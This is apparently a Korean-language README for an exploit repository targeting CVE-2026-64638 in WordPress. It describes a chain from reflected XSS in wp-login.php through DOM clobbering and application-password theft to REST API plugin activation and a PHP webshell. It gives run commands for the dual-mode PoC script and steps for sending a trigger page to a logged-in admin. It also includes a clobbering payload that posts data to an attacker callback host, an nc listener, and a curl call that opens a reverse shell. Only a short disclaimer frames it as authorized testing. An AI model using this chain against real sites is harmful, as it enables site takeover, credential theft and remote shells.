
CVE-2026-64638 — WordPress 인증 전 반사형 XSS → DOM Clobbering을 통한 RCE + 애플리케이션 비밀번호 탈취 + REST API 플러그인 활성화. 이중 모드 PoC (XSS 체인 및 직접 모드).
WordPress 사전 인증 반사형 XSS → 원격 코드 실행 체인
DOM Clobbering + 애플리케이션 비밀번호 탈취 + REST API 플러그인 활성화 = 전체 RCE
CVE-2026-64638은 WordPress wp-login.php에서 발견된 치명적인 사전 인증 반사형 XSS 취약점입니다. 이 취약점은 로그인 오류 메시지가 제출된 사용자 이름을 적절한 HTML 인코딩 없이 반사하기 때문에 발생하며, <area id=ajaxurl>을 이용한 DOM Clobbering으로 대부분의 필터를 우회할 수 있습니다.
이 XSS는 WordPress의 애플리케이션 비밀번호 기능과 연결되면 완전한 원격 코드 실행 경로가 됩니다. 로그인 상태에서 조작된 트리거 페이지를 방문하는 것 외에는 어떤 사용자 상호작용도 필요하지 않습니다.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
pip3 install requests
이것뿐입니다. 나머지는 전부 Python 3.8+ 표준 라이브러리로 해결됩니다.
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
피해자는 WordPress에 관리자로 로그인되어 있어야 합니다. 트리거 페이지는:
wp-login.php에 자동 제출합니다authorize-application.php를 엽니다python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
직접 로그인 → 플러그인 업로드 → 즉시 웹셸. XSS가 필요 없습니다.
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
또는 웹셸을 통해 수동으로:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
작동 원리:
sanitize_user()는 표준 HTML 태그를 제거하지만 앞에 공백이 있는 <area>는 놓칩니다<area id=ajaxurl>는 DOM Clobbering을 수행합니다. 즉, wp-admin JavaScript가 사용하는 window.ajaxurl을 가로챕니다wp_auth_check 인터벌이 실행되고 XSS가 피해자를 authorize-application.php로 리다이렉트합니다success_url 매개변수가 생성된 비밀번호를 공격자의 콜백 서버로 보냅니다애플리케이션 비밀번호를 캡처하면:
/wp-json/wp/v2/에 피해자로 인증합니다POST /wp-json/wp/v2/plugins/{slug}를 {"status":"active"}와 함께 호출합니다wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND에 접근합니다?rev=IP:PORT가 공격자에게 /bin/sh -i를 실행합니다이 도구는 승인된 보안 테스트 및 연구용으로만 사용하십시오. 저자는 오용에 대한 책임을 지지 않습니다. 테스트 전에 항상 서면 허가를 받으십시오.
"익스플로잇이 없으면 리포트도 없다." — Shannon 방법론
| 버전 | 상태 | 비고 |
|---|
| WordPress ≤ 6.9.5 | ✅ 취약 | 백포트 이전 Docker 이미지는 여전히 악용 가능 |
| WordPress 6.9.6+ | ⚠️ 패치됨 (2026년 8월 7일 백포트) | 8월 7일 이후 재빌드된 Docker 이미지에는 수정 사항 포함 |
| WordPress 7.0.x | ✅ 취약 | 7.0.2에서 확인됨 |
| WordPress 7.1+ | ❓ 알 수 없음 | 테스트되지 않음 |
| 대상 | 버전 | 모드 | 결과 |
|---|
| Docker (로컬) | WordPress 7.0.2 | XSS Chain | ✅ www-data로 RCE |
| Docker (로컬) | WordPress 7.0.2 | Direct | ✅ www-data로 RCE |
| Docker (로컬) | WordPress 6.7 | XSS Chain | ✅ www-data로 RCE |